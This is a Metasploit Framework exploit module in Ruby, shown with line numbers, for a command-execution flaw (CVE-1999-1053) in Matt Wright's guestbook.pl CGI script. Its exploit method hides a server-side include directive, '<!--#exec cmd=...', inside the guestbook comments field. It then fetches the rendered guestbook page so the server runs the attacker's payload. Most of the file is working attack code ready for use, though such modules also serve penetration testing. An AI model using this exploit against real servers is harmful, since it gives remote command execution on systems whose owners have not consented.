| 1 |
## |
|---|
| 2 |
# $Id$ |
|---|
| 3 |
## |
|---|
| 4 |
|
|---|
| 5 |
## |
|---|
| 6 |
# This file is part of the Metasploit Framework and may be subject to |
|---|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit |
|---|
| 8 |
# Framework web site for more information on licensing and terms of use. |
|---|
| 9 |
# http://metasploit.com/projects/Framework/ |
|---|
| 10 |
## |
|---|
| 11 |
|
|---|
| 12 |
|
|---|
| 13 |
require 'msf/core' |
|---|
| 14 |
|
|---|
| 15 |
|
|---|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
|---|
| 17 |
|
|---|
| 18 |
include Msf::Exploit::Remote::HttpClient |
|---|
| 19 |
|
|---|
| 20 |
def initialize(info = {}) |
|---|
| 21 |
super(update_info(info, |
|---|
| 22 |
'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution', |
|---|
| 23 |
'Description' => %q{ |
|---|
| 24 |
The Matt Wright guestbook.pl <= v2.3.1 CGI script contains |
|---|
| 25 |
a flaw that may allow arbitrary command execution. The vulnerability |
|---|
| 26 |
requires that HTML posting is enabled in the guestbook.pl script, and |
|---|
| 27 |
that the web server must have the Server-Side Include (SSI) script |
|---|
| 28 |
handler enabled for the '.html' file type. By combining the script |
|---|
| 29 |
weakness with non-default server configuration, it is possible to exploit |
|---|
| 30 |
this vulnerability successfully. |
|---|
| 31 |
}, |
|---|
| 32 |
'Author' => [ 'patrick' ], |
|---|
| 33 |
'License' => MSF_LICENSE, |
|---|
| 34 |
'Version' => '$Revision$', |
|---|
| 35 |
'References' => |
|---|
| 36 |
[ |
|---|
| 37 |
[ 'OSVDB', '84' ], |
|---|
| 38 |
[ 'BID', '776' ], |
|---|
| 39 |
[ 'CVE', '1999-1053' ], |
|---|
| 40 |
], |
|---|
| 41 |
'Privileged' => false, |
|---|
| 42 |
'Payload' => |
|---|
| 43 |
{ |
|---|
| 44 |
'DisableNops' => true, |
|---|
| 45 |
'Space' => 1024, |
|---|
| 46 |
}, |
|---|
| 47 |
'Platform' => [ 'unix', 'win', 'linux' ], |
|---|
| 48 |
'Arch' => ARCH_CMD, |
|---|
| 49 |
'Targets' => [[ 'Automatic', { }]], |
|---|
| 50 |
'DisclosureDate' => 'Nov 05 1999', |
|---|
| 51 |
'DefaultTarget' => 0)) |
|---|
| 52 |
|
|---|
| 53 |
register_options( |
|---|
| 54 |
[ |
|---|
| 55 |
OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]), |
|---|
| 56 |
OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]), |
|---|
| 57 |
], self.class) |
|---|
| 58 |
end |
|---|
| 59 |
|
|---|
| 60 |
def exploit |
|---|
| 61 |
realname = rand_text_alphanumeric(20) |
|---|
| 62 |
email = rand_text_alphanumeric(20) |
|---|
| 63 |
city = rand_text_alphanumeric(20) |
|---|
| 64 |
state = rand_text_alphanumeric(20) |
|---|
| 65 |
country = rand_text_alphanumeric(20) |
|---|
| 66 |
|
|---|
| 67 |
sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal') |
|---|
| 68 |
|
|---|
| 69 |
req1 = send_request_cgi({ |
|---|
| 70 |
'uri' => datastore['URI'], |
|---|
| 71 |
'method' => 'POST', |
|---|
| 72 |
'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}", |
|---|
| 73 |
}, 25) |
|---|
| 74 |
|
|---|
| 75 |
req2 = send_request_raw({ |
|---|
| 76 |
'uri' => datastore['URIOUT'], |
|---|
| 77 |
}, 25) |
|---|
| 78 |
|
|---|
| 79 |
end |
|---|
| 80 |
end |
|---|
| 81 |
|
|---|